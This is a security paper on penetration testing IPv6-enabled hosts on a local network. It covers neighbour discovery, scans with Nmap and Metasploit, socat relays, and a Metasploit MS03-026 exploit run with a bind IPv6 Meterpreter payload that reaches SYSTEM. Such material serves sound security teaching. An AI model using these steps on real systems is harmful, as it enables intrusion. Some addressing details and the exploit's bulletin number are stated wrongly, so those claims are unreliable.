Exploiting Tomorrow's Internet Today
Penetration Testing with IPv6

H D Moore <hdm[at]metasploit.com>

Introduction

Summary
This paper illustrates how IPv6-enabled systems with link-local and auto-configured addresses can be compromised using existing security tools. While most of the techniques described can apply to "real" IPv6 networks, the focus of this paper is to target IPv6-enabled systems on the local network.

Acknowledgments
The author would like to thank Van Hauser of THC for his excellent presentation at CanSecWest 2005 and for releasing the IPv6 Attack Toolkit. Much of the background information in this paper is based on notes from Van Hauser's presentation. The 'alive6' tool included with the IPv6 Attack Toolkit is the critical first step for all techniques described in this paper. The author would like to thank Philippe Biondi for his work on SCAPY and for his non-traditional 3-D presentation on IPv6 routing headers at CanSecWest 2007.

Background
The next iteration of the IP protocol, version 6, has been "just around the corner" for nearly 10 years. Migration deadlines have come and gone, networking vendors have added support, and all modern operating systems are IPv6-ready. The problem is that few organizations have any intention of implementing IPv6. The result is that most corporate networks contain machines that have IPv6 networking stacks, but have not been intentionally configured with IPv6. The IPv6 stack represents an attack surface that is often overlooked in corporate environments. For example, many firewall products, such as ZoneAlarm on Windows and the standard IPTables on Linux, do not block IPv6 traffic (IPTables can, but it uses Netfilter6 rules instead). The goal of this paper is to demonstrate how existing tools can be used to compromise IPv6 enabled systems.

Operating System
All tools described in this paper were launched from an Ubuntu Linux 8.04 system. If you are using Microsoft Windows, Mac OS X, BSD, or another Linux distribution, some tools may work differently or not at all.

Configuration
All examples in this paper depend on the host system having a valid IPv6 stack along with a link-local or auto-configured IPv6 address. This requires the IPv6 functionality to be compiled into the kernel or loaded from a kernel module. To determine if your system has an IPv6 address configured for a particular interface, use the ifconfig command:

```
# ifconfig eth0 | grep inet6
          inet6 addr: fe80::0102:03ff:fe04:0506/64 Scope:Link
```

Addressing
IPv6 addresses consist of 128 bits (16 bytes) and are represented as a groups of four hex digits separated by colons. A set of two colons ("::") indicates that the bits leading up to the next part of the address should be all zero. For example, the IP address for the loopback/localhost consists of 15 NULL bytes followed by one byte set to the value of 0x01. The representation for this address is simply "::1" (IPv4 127.0.0.1). The "any" IPv6 address is represented as "::0" or just "::" (IPv4 0.0.0.0). In the case of link-local addresses, the prefix is always "fe80::" followed by the EUI-64 formatted MAC address,

while auto-configured addresses always have the prefix of "2000::". The "::" sequence can only be used once within an IPv6 address (it would be ambiguous otherwise). The following examples demonstrate how the "::" sequence is used.

```
0000:0000:0000:0000:0000:0000:0000:0000 == ::, ::0, 0::0, 0:0::0:0
0000:0000:0000:0000:0000:0000:0000:0001 == ::1, 0::1, 0:0::0:0001
fe80:0000:0000:0000:0000:0000:0000:0060 == fe80::60
fe80:0000:0000:0000:0102:0304:0506:0708 == fe80::0102:0304:0506:0708
```

Link-local vs Site-local
On a given local network, all IPv6 nodes have at least one link-local address (fe80::). During the automatic configuration of IPv6 for a network adapter, a link-local address is chosen, and an IPv6 router discovery request is sent to the all-routers broadcast address. If any IPv6-enabled router responds, the node will also choose a site-local address for that interface (2000::). The router response indicates whether to use DHCPv6 or the EUI-64 algorithm to choose a site-local address. On networks where there are no active IPv6 routers, an attacker can reply to the router discovery request and force all local IPv6 nodes to configure a site-local address.

Discovery

Scanning
Unlike the IPv4 address space, it is not feasible to sequentially probe IPv6 addresses in order to discover live systems. In real deployments, it is common for each endpoint to receive a 64-bit network range. Inside that range, only one or two active nodes may exist, but the address space is over four billion times the size of the entire IPv4 Internet. Trying to discover live systems with sequential probes within a 64-bit IP range would require at least 18,446,744,073,709,551,616 packets.

Management
In order to manage hosts within large IPv6 network ranges, DNS and other naming services are absolutely required. Administrators may be able to remember an IPv4 address within a subnet, but tracking a 64-bit host ID within a local subnet is a challenge. Because of this requirement, DNS, WINS, and other name services are critical for managing the addresses of IPv6 hosts. Since the focus of this paper is on "accidental" IPv6 networks, we will not be covering IPv6 discovery through host management services.

Neighbor Discovery
The IPv4 ARP protocol goes away in IPv6. Its replacement consists of the ICMPv6 Neighbor Discovery (ND) and ICMPv6 Neighbor Solicitation (NS) protocols. Neighbor Discovery allows an IPv6 host to discover the link-local and auto-configured addresses of all other IPv6 systems on the local network. Neighbor Solicitation is used to determine if a given IPv6 address exists on the local subnet. The link-local address is guaranteed to be unique per-host, per-link, by picking an address generated by the EUI-64 algorithm. This algorithm uses the network adapter MAC address to generate a unique IPv6 address. For example, a system with a hardware MAC of 01:02:03:04:05:06 would use a link-local address of fe80::0102:03FF:FE04:0506. An eight-byte prefix is created by taking the first three bytes of the MAC, appending FF:FE, and then the next three bytes of the MAC. In addition to link-local addresses, IPv6 also supports stateless auto-configuration. Stateless auto-configured addresses use the "2000::" prefix. More information about Neighbor Discovery can be found in RFC 2461.

The IPv6 Attack Toolkit
In order to enumerate local hosts using the Neighbor Discovery protocol, we need a tool which can send ICMPv6 probes and listen for responses. The alive6 program included with Van Hauser's IPv6 Attack Toolkit is the tool for the job. The example below demonstrates how to use alive6 to discover IPv6 hosts attached to the network on the eth0 interface.

```
# alive6 eth0
Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx
Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy
Found 2 systems alive
```

Linux Neighbor Discovery Tools

The 'ip' command, in conjunction with 'ping6', both included with many recent Linux distributions, can also be used to perform local IPv6 node discovery. The following commands demonstrate this method:

```
# ping6 -c 3 -I eth0 ff02::1 >/dev/null 2>&1
# ip neigh | grep ^fe80
fe80::211:43ff:fexx:xxxx dev eth0 lladdr 00:11:43:xx:xx:xx REACHABLE
fe80::21e:c9ff:fexx:xxxx dev eth0 lladdr 00:1e:c9:xx:xx:xx REACHABLE
fe80::218:8bff:fexx:xxxx dev eth0 lladdr 00:18:8b:xx:xx:xx REACHABLE
[...]
```

Local Broadcast Addresses

IPv6 Neighbor Discovery relies on a set of special broadcast addresses in order to reach all local nodes of a given type. The table below enumerates the most useful of these addresses.

FF01::1	This address reaches all node-local IPv6 nodes
FF02::1	This address reaches all link-local IPv6 nodes
FF05::1	This address reaches all site-local IPv6 nodes
FF01::2	This address reaches all node-local IPv6 routers
FF02::2	This address reaches all link-local IPv6 routers
FF05::2	This address reaches all site-local IPv6 routers

IPv4 vs IPv6 Broadcasts

The IPv4 protocol allowed packets destined to network broadcast addresses to be routed across the Internet. While this had some legitimate uses, this feature was abused for years by traffic amplification attacks, which spoofed a query to a broadcast address from a victim in order to saturate the victim's bandwidth with the responses. While some IPv4 services were designed to work with broadcast addresses, this is the exception and not the norm. With the introduction of IPv6, broadcast addresses are no longer routed outside of the local network. This mitigates traffic amplification attacks, but also prevents a host from sending Neighbor Discovery probes into remote networks.

One of the major differences between IPv4 and IPv6 is how network services which listen on the “any” address (0.0.0.0 / ::0) handle incoming requests destined to the broadcast address. A good example of this is the BIND DNS server. When using IPv4 and listening to 0.0.0.0, DNS requests sent to the network broadcast address are simply ignored. When using IPv6 and listening to ::0, DNS requests sent to the link-local all nodes broadcast address (FF02::1) are processed. This allows a local attacker to send a message to all BIND servers on the local network with a single packet. The same technique will work for any other UDP-based service bound to the ::0 address of an IPv6-enabled interface.

```
$ dig metasploit.com @FF02::1
;; ANSWER SECTION:
metasploit.com.         3600    IN      A       216.75.15.231
;; SERVER: fe80::xxxx:xxxx:xxxx:xxxx%2#53(ff02::1)
```

Services

Using Nmap

The Nmap port scanner has support for IPv6 targets, however, it can only scan these targets using the native networking libraries and does not have the ability to send raw IPv6 packets. This limits TCP port scans to the “connect()” method, which while effective, is slow against firewalled hosts and requires a full TCP connection to identify each open port. Even with these limitations, Nmap is still the tool of choice for IPv6 port scanning. Older versions of Nmap did not support scanning link-local addresses, due to the requirement of an interface suffix. Trying to scan a link-local address would result in the following error.

```
# nmap -6  fe80::xxxx:xxxx:xxxx:xxxx
Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-23 14:48 CDT
Strange error from connect (22):Invalid argument
```

The problem is that link-local addresses are interface specific. In order to talk to to the host at fe80::xxxx:xxxx:xxxx:xxxx, we must indicate which interface it is on as well. The way to do this on the Linux platform is by appending a "%" followed by the interface name to the address. In this case, we would specify "fe80::xxxx:xxxx:xxxx:xxxx%eth0". Recent versions of Nmap (4.68) now support the interface suffix and have no problem scanning link-local IPv6 addresses. Site-local addresses do not require a scope ID suffix, which makes them a little bit easier to use from an attacker's perspective (reverse connect code doesn't need to know the scope ID, just the address).

```
# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx%eth0
Starting Nmap 4.68 ( http://nmap.org ) at 2008-08-27 13:57 CDT
PORT   STATE SERVICE
22/tcp open  ssh
```

Using Metasploit

The development version of the Metasploit Framework includes a simple TCP port scanner. This module accepts a list of hosts via the RHOSTS parameter and a start and stop port. The Metasploit Framework has full support for IPv6 addresses, including the interface suffix. The following example scans ports 1 through 10,000 on the target fe80::xxxx:xxxx:xxxx:xxxx connected via interface eth0. This target is a default install of Vista Home Premium.

```
# msfconsole
msf> use auxiliary/discovery/portscan/tcp
msf auxiliary(tcp) > set RHOSTS fe80::xxxx:xxxx:xxxx:xxxx%eth0
msf auxiliary(tcp) > set PORTSTART 1
msf auxiliary(tcp) > set PORTSTOP 10000
msf auxiliary(tcp) > run
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:135
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:445
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1025
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1026
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1027
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1028
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1029
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1040
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:3389
[*]  TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:5357
[*] Auxiliary module execution completed
```

In addition to TCP port scanning, the Metasploit Framework also includes a UDP service detection module. This module sends a series of UDP probes to every host defined by RHOSTS and prints out any responses received. This module works with any IPv6 address, including the broadcast. For example, the session below demonstrates discovery of a local DNS service that is listening on ::0 and responds to requests for the link-local all nodes broadcast address.

```
# msfconsole
msf> use auxiliary/scanner/discovery/sweep_udp
msf auxiliary(sweep_udp) > set RHOSTS ff02::1
msf auxiliary(sweep_udp) > run
[*] Sending 7 probes to ff02:0000:0000:0000:0000:0000:0000:0001 (1 hosts)
[*] Discovered DNS on fe80::xxxx:xxxx:xxxx:xxxx%eth0
[*] Auxiliary module execution completed
```

Exploits

IPv6 Enabled Services

When conducting a penetration test against an IPv6 enabled system, the first step is to determine what services are accessible over IPv6. In the previous section, we described some of the tools available for doing this, but did not cover the differences between the IPv4 and IPv6 interfaces of the same machine. Consider the Nmap results below, the first set is from scanning the IPv6 interface of a Windows 2003 system, while the second is from scanning the same system's IPv4 address.

```
# nmap -6 -p1-10000 -n fe80::24c:44ff:fe4f:1a44%eth0
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
554/tcp  open  rtsp
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1030/tcp open  iad1
1032/tcp open  iad3
1034/tcp open  unknown
1035/tcp open  unknown
1036/tcp open  unknown
1755/tcp open  wms
9464/tcp open  unknown

# nmap -sS -p1-10000 -n 192.168.0.147
25/tcp   open  smtp
42/tcp   open  nameserver
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
554/tcp  open  rtsp
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1030/tcp open  iad1
1032/tcp open  iad3
1034/tcp open  unknown
1035/tcp open  unknown
1036/tcp open  unknown
1755/tcp open  wms
3389/tcp open  ms-term-serv
9464/tcp open  unknown
```

Of the services provided by IIS, only the web server and streaming media services appear to be IPv6 enabled. The SMTP, POP3, WINS, NetBIOS, and RDP services were all missing from our scan of the IPv6 address. While this does limit the attack surface on the IPv6 interface, the remaining services are still significant in terms of exposure. The SMB port (445) allows access to file shares and remote API calls through DCERPC. All TCP DCERPC services are still available, including the endpoint mapper, which provides us with a list of DCERPC applications on this system. The web server (IIS 6.0) is accessible, along with any applications hosted on this system. The streaming media services RTSP (554) and MMS (1755) provide access to the streaming content and administrative interfaces.

IPv6 and Web Browsers

While most modern web browsers have support for IPv6 addresses within the URL bar, there are complications. For example, with the Windows 2003 system above, we see that port 80 is open. To access this web server with a browser, we use the following URL:

```
http://[fe80::24c:44ff:fe4f:1a44%eth0]/
```

Unfortunately, while Firefox and Konqueror can process this URL, Internet Explorer (6 and 7) cannot.

Since this is a link-local address, DNS is not sufficient, because the local scope ID is not recognized in the URL. An interesting difference between Firefox 3 and Konqueror is how the Host header is created when specifying a IPv6 address and scope ID. With Firefox 3, the entire address, including the local scope ID is sent in the HTTP Host header. This causes IIS 6.0 to return an "invalid hostname" error back to the browser. However, Konqueror will strip the local scope ID from the Host header, which prevents IIS from throwing the error message seen by Firefox.

IPv6 and Web Assessments
One of the challenges with assessing IPv6-enabled systems is making existing security tools work with the IPv6 address format (especially the local scope ID). For example, the Nikto web scanner is an excellent tool for web assessments, but it does not have direct support for IPv6 addresses. While we can add an entry to /etc/hosts for the IPv6 address we want to scan and pass this to Nikto, Nikto is unable to process the scope ID suffix. The solution to this and many other tool compatibility issues is to use a TCPv4 to TCPv6 proxy service. By far, the easiest tool for the job is Socat, which is available as a package on most Linux and BSD distributions. To relay local port 8080 to remote port 80 on a link-local IPv6 address, we use a command like the one below:

```
$ socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[fe80::24c:44ff:fe4f:1a44%eth0]:80
```

Once Socat is running, we can launch Nikto and many other tools against port 8080 on 127.0.0.1.

```
$ ./nikto.pl -host 127.0.0.1 -port 8080
- Nikto v2.03/2.04
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    localhost
+ Target Port:        8080
+ Start Time:         2008-10-01 12:57:18
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/6.0
```

This port forwarding technique works for many other tools and protocols and is a great fall-back when the tool of choice does not support IPv6 natively.

Exploiting IPv6 Services
The Metasploit Framework has native support for IPv6 sockets, including the local scope ID. This allows nearly all of the exploit and auxiliary modules to be used against IPv6 hosts with no modification. In the case of web application exploits, the VHOST parameter can be used to override the Host header sent by the module, avoiding issues like the one described above.

IPv6 Enabled Shellcode
To restrict all exploit activity to the IPv6 protocol, not only do the exploits need support for IPv6, but the payloads as well. IPv6 payload support is available in Metasploit through the use of "stagers". These stagers can be used to chain-load any of the common Windows payloads included with the Metasploit Framework. Once again, link-local addresses make this process a little more complicated. When using the bind_ipv6_tcp stager to open a listening port on the target machine, the RHOST parameter must have the local scope ID appended. By the same token, the reverse_ipv6_tcp stager requires that the LHOST variable have remote machine's interface number appended as a scope ID. This can be tricky, since the attacker rarely knows what interface number a given link-local address corresponds to. For this reason, the bind_ipv6_tcp stager is ultimately more useful for exploiting Windows machines with link-local addresses. The example below demonstrates using the bind_ipv6_tcp stager with the Meterpreter stage. The exploit in this case is MS03-036 (Blaster) and is delivered over the DCERPC endpoint mapper service on port 135.

```
msf> use windows/exploit/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST fe80::24c:44ff:fe4f:1a44%eth0
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_ipv6_tcp
msf exploit(ms03_026_dcom) > set LPORT 4444
```

```
msf exploit(ms03_026_dcom) > exploit
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...]
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...][135]
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73227 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened

msf exploit(ms03_026_dcom) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Summary

Key Concepts
Even though most networks are not "IPv6" ready, many of the machines on those networks are. The introduction of a new protocol stack introduces security challenges that are not well-known and often overlooked during security evaluations. The huge address range of IPv6 makes remote discovery of IPv6 machines difficult, but local network discovery is still possible using the all-nodes broadcast addresses. Link-local addresses are tied to a specific network link and are only guaranteed unique on that network link where they reside. In order to communicate with an IPv6 node using a link-local address, the user must have knowledge of the local scope ID (interface) for that link. In order for a remote application to connect back to the user over a link-local address, the socket code must specify the local scope ID of the correct interface. UDP services which listen on the IPv6 ANY address (::0) will respond to client requests that are sent to the all-nodes broadcast address (FF02::1), which differs from IPv4. IPv6 broadcast traffic is not routable, which limits many attacks to the local network only. Even though many flavors of Linux, BSD, and Windows now enable IPv6 by default, not all applications support listening on the IPv6 interfaces. Software firewalls often allow IPv6 traffic even when configured to block all IPv4 traffic. Immunity CANVAS, the Metasploit Framework, the Nmap Security Scanner, and many other security tools now support IPv6 targets. It is possible to use a tool written for IPv4 against an IPv6 host by using a socket relay tool such as xinetd or socat.

Conclusion
Although the IPv6 backbone infrastructure continues to grow and an increasing number of client systems and devices support IPv6 out of the box, few ISPs are able to provide routing between the customer site and the backbone. Until this gap is closed, security assessments against IPv6 addresses will be limited to the local network. The lack of awareness about IPv6 in most organizations can provide an easy way for an attacker to bypass network controls and fly under the radar of many security monitoring tools. After all, when confronted with the message below, what is an administrator to do?

```
Last login: Sat Oct  1 11:32:45 2008 from fe80::214:4fff:fe4a:3a30%eth0
```

IPv6 Resources

Exploits
- THC IPv6 Attack Toolkit - http://freeworld.thc.org/thc-ipv6/
- The Metasploit Framework - http://metasploit.com
- Immunity CANVAS - http://www.immunitysec.com/

Tools

- ncat – svn co svn://svn.insecure.org/ncat (login: guest/guest)
- socat – http://www.dest-unreach.org/socat/
- scapy - http://www.secdev.org/projects/scapy/
- nmap - http://nmap.org/
- nikto - http://www.cirt.net/nikto2

Documentation

- RFC 2461 - http://www.ietf.org/rfc/rfc2461.txt
- Official IPv6 Site - http://www.ipv6.org/

Application Compatibility

- http://www.deepspace6.net/docs/ipv6_status_page_apps.html
- http://www.stindustries.net/IPv6/tools.html
- http://www.ipv6.org/v6-apps.html
- http://applications.6pack.org/browse/support/